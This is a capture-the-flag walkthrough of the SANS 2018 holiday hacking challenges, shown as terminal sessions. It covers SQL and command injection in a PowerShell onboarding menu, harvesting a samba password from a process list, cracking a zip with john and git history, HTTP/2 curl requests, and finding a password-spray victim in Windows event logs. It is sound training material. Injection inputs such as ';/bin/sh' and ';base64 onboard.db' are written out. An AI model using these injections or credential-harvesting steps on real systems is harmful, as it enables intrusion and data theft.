SANS Christmas Challenge 2018

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: John
Enter your last name.
: McClane
Enter your street address (line 1 of 2).
: Test Street
Enter your street address (line 2 of 2).
:
Enter your city.
: New York
Enter your postal code.
: 1111
Enter your phone number.
:
Enter your email address.
:
Is this correct?
John McClane
Test Street
New York, 1111
y/n: y
Save to sqlite DB using command line
Press Enter to continue...:

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: John'
Enter your last name.
:
Enter your street address (line 1 of 2).
:
Enter your street address (line 2 of 2).
:
Enter your city.
:
Enter your postal code.
:
Enter your phone number.
:
Enter your email address.
:
Is this correct?
John'

,
y/n: y
Save to sqlite DB using command line
Error: unrecognized token: "'John'','', '', '', '', '', '', '')"
Press Enter to continue...:

Please make a selection: 2
Validating data store for employee onboard information.
Enter address of server: 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.070 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.051 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2039ms
rtt min/avg/max/mdev = 0.051/0.065/0.075/0.012 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:

Validating data store for employee onboard information.
Enter address of server: 127.0.0.1; ls -lh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.059 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 0.059/0.062/0.065/0.009 ms
total 5.4M
-rw-r--r-- 1 root root 3.8K Dec 14 16:13 menu.ps1
-rw-rw-rw- 1 root root  24K Dec 14 16:13 onboard.db
-rwxr-xr-x 1 root root 5.3M Dec 14 16:13 runtoanswer
onboard.db: SQLite 3.x database

$global:firstrun = $TRUE
function Show-Menu
{
    $intro = @(
        "We just hired this new worker,",
        "Californian or New Yorker?",
        "Think he's making some new toy bag...",
        "My job is to make his name tag.",
        "",
        "Golly gee, I'm glad that you came,",
        "I recall naught but his last name!",
        "Use our system or your own plan,",
        "Find the first name of our guy `"Chan!`"",
        "",
        "-Bushy Evergreen",
        "",
        "To solve this challenge, determine the new worker's first name and submit to runtoansw
er."
    )
    $header = @(
        "===================================================================="
        "=                                                                  =",
        "= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =",
        "=                                                                  =",
        "===================================================================="
    )
    cls
    if ($global:firstrun -eq $TRUE) {
        Write-Host "`n`n"
        for ($i = 0; $i -lt $intro.length; $i++) {
    Write-Host "`n`nIs this correct?`n`n"
            Write-Host $intro[$i]
        }
        $global:firstrun = $FALSE
    }

    Write-Host "`n`n`n"
    for ($i = 0; $i -lt $header.length; $i++) {
        Write-Host $header[$i]
    }
    Write-Host "`n`n`n"
    Write-Host ' Press '1' to start the onboard process.'
    Write-Host ' Press '2' to verify the system.'
    Write-Host ' Press 'q' to quit.'
    Write-Host "`n"
}

function Employee-Onboarding-Form
{
    Write-Host "`n`nWelcome to Santa's Castle!`n`n"
    Write-Host "At Santa's Castle, our employees are our family. We care for each other,"
    Write-Host "and support everyone in our common goals.`n"
    Write-Host "Your first test at Santa's Castle is to complete the new employee onboarding paperwork."
    Write-Host "Don't worry, it's an easy test! Just complete the required onboarding information below.`n`n"

    $efirst = Read-Host "Enter your first name.`n"
    $elast = Read-Host "Enter your last name.`n"
    $estreet1 = Read-Host "Enter your street address (line 1 of 2).`n"
    $estreet2 = Read-Host "Enter your street address (line 2 of 2).`n"
    $ecity = Read-Host "Enter your city.`n"
    $epostalcode = Read-Host "Enter your postal code.`n"
    $ephone = Read-Host "Enter your phone number.`n"
    $eemail = Read-Host "Enter your email address.`n"

    Write-Host "`n`nIs this correct?`n`n"
    Write-Host "$efirst $elast"
    Write-Host "$estreet1"
    if ($estreet2) {
        Write-Host "$estreet2"
    }
    Write-Host "$ecity, $epostalcode"
    Write-Host "$ephone"
    Write-Host "$eemail"

    $input = Read-Host 'y/n'
    if ($input -eq 'y' -Or $input -eq 'Y') {
        Write-Host "Save to sqlite DB using command line"
        Start-Process -FilePath "./sqlite3" -ArgumentList "onboard.db `"INSERT INTO onboard (fname, lname, street1, street2, city, postalcode, phone, email) VALUES (`'$efirst`',`'$elast`', `'$estreet1`', `'$estreet2`', `'$ecity`', `'$epostalcode`', `'$ephone`', `'$eemail`')`""
    }
}

try
{
    do
    {
        Show-Menu
        $input = Read-Host 'Please make a selection'
        switch ($input)
        {
            '1' {
                cls
                Employee-Onboarding-Form
            } '2' {
                cls
                Write-Host "Validating data store for employee onboard information."
                $server = Read-Host 'Enter address of server'
                /bin/bash -c "/bin/ping -c 3 $server"
                /bin/bash -c "/usr/bin/file onboard.db"
            } '9' {
                /usr/bin/pwsh
                return
            } 'q' {
                return
            } default {
                Write-Host "Invalid entry."
            }
        }
        pause
    }
    until ($input -eq 'q')
} finally {
}

Please make a selection: 9
PowerShell v6.0.3
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /home/elf> sqlite3 ./onboard.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE onboard (
    id INTEGER PRIMARY KEY,
    fname TEXT NOT NULL,
    lname TEXT NOT NULL,
    street1 TEXT,
    street2 TEXT,
    city TEXT,
    postalcode TEXT,
    phone TEXT,
    email TEXT
);
sqlite> select * from onboard where lname = 'Chan';
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com

PS /home/elf> ./runtoanswer
Loading, please wait.....
Enter Mr. Chan's first name: Scott

    .;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:'
  'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO   Okdooooooooooooo;
 'oooooooooooooX  ooooO  xod       xoO  xooooo  Xoooook    0    Oooooooooooooo;
 :oooooooooooooX  ooooO  xod  0ooooooO  xooooo  Xoooox   ooooo   kooooooooooooo
 coooooooooooooX         xod      0ooO  xooooo  XooooO  koooook   ooooooooooooo
 coooooooooooooX  dddd0  xod  0ddddooO  xooooo  XooooO  OoooooO  kooooooooooooo
 coooooooooooooX  ooooO  xod  KxxxxdoO  Okkkxo  XkkkkdX   xxk    oooooooooooooo
 cooooooooooooo0  ooook  dod       kok      Oo      Xook      Kxooooooooooooooo
 cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
 cooooooooooooooooooooooooooooooooo MY NAME IS oooooooooooooooooooooooooooooooo
 cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo
 OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW
 OMMMMMMMMMMMMW:  .. ;MMMk'     .NMX:.  .  .lWO         d         xMMMMMMMMMMMW
 OMMMMMMMMMMMMo  OMMWXMMl  lNMMNxWK  ,XMMMO  .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMX.  .cOWMN  'MMMMMMM;  WMMMMMc  KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMMMKo,   KN  ,MMMMMMM,  WMMMMMc  KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMKNMMMO  oM,  dWMMWOWk  cWMMMO  ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMc ...  cWMWl.  .. .NMk.  ..  .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK
 .oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
  .looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
    .,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;.

Congratulations!

Validating data store for employee onboard information.
Enter address of server: ;/bin/sh
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
$ ls
menu.ps1  onboard.db  runtoanswer

Validating data store for employee onboard information.
Enter address of server: ;base64 onboard.db
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAAAQAAAAYAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAC4FQg0AAAABDxUADxUAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[snip]

$ base64 -d < onboard.db.b64 > onboard.db
$ file onboard.db
onboard.db: SQLite 3.x database, last written using SQLite version 3016002
$ sqlite3 onboard.db
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> select * from onboard where lname="Chan";
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com

$ curl https://cfp.kringlecastle.com/cfp/rejected-talks.csv 2> /dev/null | grep -i 'Data Loss for Rainbow Teams: A Path in the Darkness'
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,Data Loss for Rainbow Teams: A Path in the Darkness,1,11

Christmas is coming, and so it would seem,
ER (Elf Resources) crushes elves' dreams.
One tells me she was disturbed by a bloke.
He tells me this must be some kind of joke.
Please do your best to determine what's real.
Has this jamoke, for this elf, got some feels?
Lethal forensics ain't my cup of tea;
If YOU can fake it, my hero you'll be.
One more quick note that might help you complete,
Clearing this mess up that's now at your feet.
Certain text editors can leave some clue.
Did our young Romeo leave one for you?
- Tangle Coalbox, ER Investigator
  Find the first name of the elf of whom a love poem
  was written.  Complete this challenge by submitting
  that name to runtoanswer.
elf@612b2a7501cc:~$

elf@6bb580d3ee2e:~$ ls -lha
total 5.4M
drwxr-xr-x 1 elf  elf  4.0K Dec 14 16:28 .
drwxr-xr-x 1 root root 4.0K Dec 14 16:28 ..
-rw-r--r-- 1 elf  elf   419 Dec 14 16:13 .bash_history
-rw-r--r-- 1 elf  elf   220 May 15  2017 .bash_logout
-rw-r--r-- 1 elf  elf  3.5K Dec 14 16:28 .bashrc
-rw-r--r-- 1 elf  elf   675 May 15  2017 .profile
drwxr-xr-x 1 elf  elf  4.0K Dec 14 16:28 .secrets
-rw-r--r-- 1 elf  elf  5.0K Dec 14 16:13 .viminfo
-rwxr-xr-x 1 elf  elf  5.3M Dec 14 16:13 runtoanswer
elf@6bb580d3ee2e:~$ ls -lhaR .secrets/
.secrets/:
total 12K
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 ..
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 her
.secrets/her:
total 12K
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 ..
-rw-r--r-- 1 elf elf 1.9K Dec 14 16:13 poem.txt
elf@6bb580d3ee2e:~$ cat .secrets/her/poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
  There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
  Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
  But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
  Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
  Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
  NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
  Of good fortune fates had borne him.  Offered her his dexter forelimb,
Never was his future less dim!  Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
  Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
  So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
  By his lovely NEVERMORE!
-Morcel Nougat

elf@6bb580d3ee2e:~$ cat .bash_history
set -o history
whoami
echo "No, really...  /-:"
mkdir -p .secrets/her/
firefox https://www.google.com/search?q=love+poetry
vim
ls -lAR
exit
set -o history
df -h
who
firefox https://www.google.com/search?q=replacing+strings+in+vim
time vim
ls -lAR
exit
set -o history
vim
exit
ls -lA
cat .bash_history
echo "" >> .bash_history
firefox https://www.google.com/search?q=turn+off+bash+history
set +o history
set +o history

elf@6bb580d3ee2e:~$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=latin1
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:q
|2,0,1546268730,,"q"
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
[snip]

Thank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
My report is now due or my KRINGLE's in a sling!
There's a samba share here on this terminal screen.
What I normally do is to upload the file,
With our network credentials (we've shared for a while).
When I try to remember, my memory's clean!
Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.
Could there be buried hints or some way to contort,
Gaining access - oh please now do give it your best!
-Wunorse Openslae
Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/
elf@566501e7c881:~$

elf@b08c86087276:~$ ps aux | less
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  17952  2860 pts/0    Ss   22:22   0:00 /bin/bash /sbin/init
root        11  0.0  0.0  45320  3060 pts/0    S    22:22   0:00 sudo -u manager /home/manager/
samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not
-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress
//localhost/report-upload/ directreindeerflatterystable -U report-upload
root        16  0.0  0.0  45320  3180 pts/0    S    22:22   0:00 sudo -u elf /bin/bash
manager     18  0.0  0.0   9500  2412 pts/0    S    22:22   0:00 /bin/bash /home/manager/samba-
wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-a
s-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //loca
lhost/report-upload/ directreindeerflatterystable -U report-upload
elf         20  0.0  0.0  18208  3360 pts/0    S    22:22   0:00 /bin/bash
root        24  0.0  0.0 316680 15420 ?        Ss   22:22   0:00 /usr/sbin/smbd
root        25  0.0  0.0 308372  5704 ?        S    22:22   0:00 /usr/sbin/smbd
root        26  0.0  0.0 308388  5516 ?        S    22:22   0:00 /usr/sbin/smbd
root        28  0.0  0.0 316664  5868 ?        S    22:22   0:00 /usr/sbin/smbd
manager     49  0.0  0.0   4196   660 pts/0    S    22:27   0:00 sleep 60
elf         50  0.0  0.0  36636  2860 pts/0    R+   22:27   0:00 ps aux
elf         51  0.0  0.0   6556   956 pts/0    S+   22:27   0:00 less

elf@b08c86087276:~$ smbclient -U report-upload //localhost/report-upload directreindeerflattery
stable
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \> put report.txt
putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
smb: \> Terminated
elf@b08c86087276:~$

                               .;;;;;;;;;;;;;;;'
                             ,NWOkkkkkkkkkkkkkkNN;
                           ..KM; Stall Mucking ,MN..
                         OMNXNMd.             .oMWXXM0.
                        ;MO   l0NNNNNNNNNNNNNNN0o   xMc
                        :MO                         xMl             '.
                        :MO   dOOOOOOOOOOOOOOOOOd.  xMl             :l:.
 .cc::::::::;;;;;;;;;;;,oMO  .0NNNNNNNNNNNNNNNNN0.  xMd,,,,,,,,,,,,,clll:.
 'kkkkxxxxxddddddoooooooxMO   ..'''''''''''.        xMkcccccccllllllllllooc.
 'kkkkxxxxxddddddoooooooxMO  .MMMMMMMMMMMMMM,       xMkcccccccllllllllllooool
 'kkkkxxxxxddddddoooooooxMO   '::::::::::::,        xMkcccccccllllllllllool,
 .ooooollllllccccccccc::dMO                         xMx;;;;;::::::::lllll'
                        :MO  .ONNNNNNNNXk           xMl             :lc'
                        :MO   dOOOOOOOOOo           xMl             ;.
                        :MO   'cccccccccccccc:'     xMl
                        :MO  .WMMMMMMMMMMMMMMMW.    xMl
                        :MO    ...............      xMl
                        .NWxddddddddddddddddddddddddNW'
                          ;ccccccccccccccccccccccccc;

You have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
Going forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.
-Wunorse Openslae

$ git clone https://git.kringlecastle.com/Upatree/santas_castle_automation
Clonage dans 'santas_castle_automation'...
warning: redirection vers https://git.kringlecastle.com/Upatree/santas_castle_automation.git/
remote: Enumerating objects: 949, done.
remote: Counting objects: 100% (949/949), done.
remote: Compressing objects: 100% (545/545), done.
remote: Total 949 (delta 258), reused 879 (delta 205)
Réception d'objets: 100% (949/949), 4.27 MiB | 5.85 MiB/s, fait.
Résolution des deltas: 100% (258/258), fait.
$ cd santas_castle_automation
$ find . -name '*.zip'
./schematics/ventilation_diagram.zip

$ zip2john ./schematics/ventilation_diagram.zip > ventilation_diagram_hash.txt
ventilation_diagram.zip/ventilation_diagram/ is not encrypted!
ver 1.0 ./schematics/ventilation_diagram.zip/ventilation_diagram/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 ventilation_diagram.zip/ventilation_diagram/ventilation_diagram_2F.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=366995, decmplen=415586, crc=ACFD98A7
ver 2.0 efh 5455 efh 7875 ventilation_diagram.zip/ventilation_diagram/ventilation_diagram_1F.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=372752, decmplen=421604, crc=8E23EC48
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/md5decryptor.uk.txt ./ventilation_diagram_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-01-01 22:53) 0g/s 14259Kp/s 14259Kc/s 14259KC/s 23248758..wzpxg1kn
Session completed

$ git log -p | grep -i password
[snip]
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-Hopefully this is the last time we have to change our password again until next Christmas.
-Password = 'Yippee-ki-yay'
[snip]

$ unzip -d ventilation_diagram -P Yippee-ki-yay ./schematics/ventilation_diagram.zip
Archive:  ./schematics/ventilation_diagram.zip
inflating: ventilation_diagram/ventilation_diagram/ventilation_diagram_2F.jpg
inflating: ventilation_diagram/ventilation_diagram/ventilation_diagram_1F.jpg

I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.
Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?
  Complete this challenge by submitting the right HTTP
  request to the server at http://localhost:8080/ to
  get the candy striper started again. You may view
  the contents of the nginx.conf file in
  /etc/nginx/, if helpful.
elf@451e98e0a27c:~$

elf@44672f31f7a9:~$ curl http://localhost:8080/
   ����

elf@44672f31f7a9:/etc/nginx$ cat nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
        worker_connections 768;
        # multi_accept on;
}
http {
[snip]
        server {
        # love using the new stuff! -Bushy
                listen                  8080 http2;
                # server_name           localhost 127.0.0.1;
                root /var/www/html;
                location ~ [^/]\.php(/|$) {
                    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
                    if (!-f $document_root$fastcgi_script_name) {
                        return 404;
                    }
                    # Mitigate https://httpoxy.org/ vulnerabilities
                    fastcgi_param HTTP_PROXY "";
                    # SCRIPT_FILENAME parameter is used for PHP FPM determining

                    # fastcgi_pass 127.0.0.1:9000;
                    fastcgi_pass unix:/var/run/php/php-fpm.sock;
                    fastcgi_index index.php;

                    # include the fastcgi_param setting
                    include fastcgi_params;

                    # SCRIPT_FILENAME parameter is used for PHP FPM determining
                    #  the script name. If it is not set in fastcgi_params file,
                    # i.e. /etc/nginx/fastcgi_params or in the parent contexts,
                    # please comment off following line:
                    # fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
                }

                }
[snip]

elf@44672f31f7a9:/etc/nginx$ curl --http2 http://localhost:8080/
   ����

elf@44672f31f7a9:/etc/nginx$ curl --http2-prior-knowledge http://localhost:8080/
<html>
 <head>
  <title>Candy Striper Turner-On'er</title>
 </head>
 <body>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

 </body>
</html>

elf@451e98e0a27c:~$ curl --http2-prior-knowledge -d 'status=on' http://localhost:8080/
<html>
 <head>
  <title>Candy Striper Turner-On'er</title>
 </head>
 <body>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

                                                                okkd,
                                                               OXXXXX,
                                                              oXXXXXXo
                                                             ;XXXXXXX;
                                                            ;KXXXXXXx
                                                           oXXXXXXXO
                                                        .lKXXXXXXX0.
  ''''''       .''''''       .''''''       .:::;   ':okKXXXXXXXX0Oxcooddool,
 'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX.
 'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d;
 'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x.
 'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX:
 'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;.
 'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO.
 'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk.
 .c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc
                                                    ;xKXXXXXXX0xKXXXXXXXXK.
                                                       ..,:ccllc:cccccc:'

Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.
-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
 </body>
</html>

I am Pepper Minstix, and I'm looking for your help.
Bad guys have us tangled up in pepperminty kelp!
"Password spraying" is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

Here you'll find a web log filled with failure and success.
One successful login there requires your redress.
Can you help us figure out which user was attacked?
Tell us who fell victim, and please handle this with tact...

  Submit the compromised webmail username to
  runtoanswer to complete this challenge.
elf@3c8eb61a4504:~$

elf@3c8eb61a4504:~$ ls -lh
total 6.8M
-rw-r--r-- 1 elf elf 1.4K Dec 14 16:13 evtx_dump.py
-rw-r--r-- 1 elf elf 1.1M Dec 14 16:13 ho-ho-no.evtx
-rwxr-xr-x 1 elf elf 5.7M Dec 14 16:13 runtoanswer

elf@3c8eb61a4504:~$ python evtx_dump.py ho-ho-no.evtx
<?xml version="1.1" encoding="utf-8" standalone="yes" ?>
<Events>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Mi
crosoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4647</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>12545</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 12:18:26.972103"></TimeCreated>
<EventRecordID>231712</EventRecordID>
<Correlation ActivityID="{fd18dc13-48f8-0001-58dc-18fdf848d401}" RelatedActivityID=""></Correla
tion>
<Execution ProcessID="660" ThreadID="752"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="TargetLogonId">0x0000000000969b09</Data>
</EventData>
</Event>
[snip]

$ grep -E '<Data Name="TargetUserName">[a-z.]+</Data>|<Data Name="FailureReason">%%2313</Data>' ho-ho-no.xml # We only target users with lower-case username
            <Data Name="TargetUserName">sparkle.redberry</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">sparkle.redberry</Data>
            <Data Name="TargetUserName">sparkle.redberry</Data>
            <Data Name="TargetUserName">bushy.evergreen</Data>
            <Data Name="TargetUserName">bushy.evergreen</Data>
            <Data Name="TargetUserName">test.user</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">shinny.upatree</Data>
            <Data Name="TargetUserName">shinny.upatree</Data>
            <Data Name="TargetUserName">aaron.smith</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">abhishek.kumar</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">adam.smith</Data>
            <Data Name="FailureReason">%%2313</Data>
            [snip]
            <Data Name="TargetUserName">mike.miller</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">mike.smith</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">mike.williams</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">minty.candycane</Data>
            <Data Name="TargetUserName">minty.candycane</Data>
            <Data Name="TargetUserName">mohamed.ahmed</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">mohamed.ali</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">muhammad.ali</Data>
            <Data Name="FailureReason">%%2313</Data>

elf@230a1d67fee6:~$ ./runtoanswer
Loading, please wait......



Whose account was successfully accessed by the attacker's password spray? minty.candycane


MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM   NM   M   NMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM             MMMMMMMMMMMMMMMMMMMMMMMMMMMM
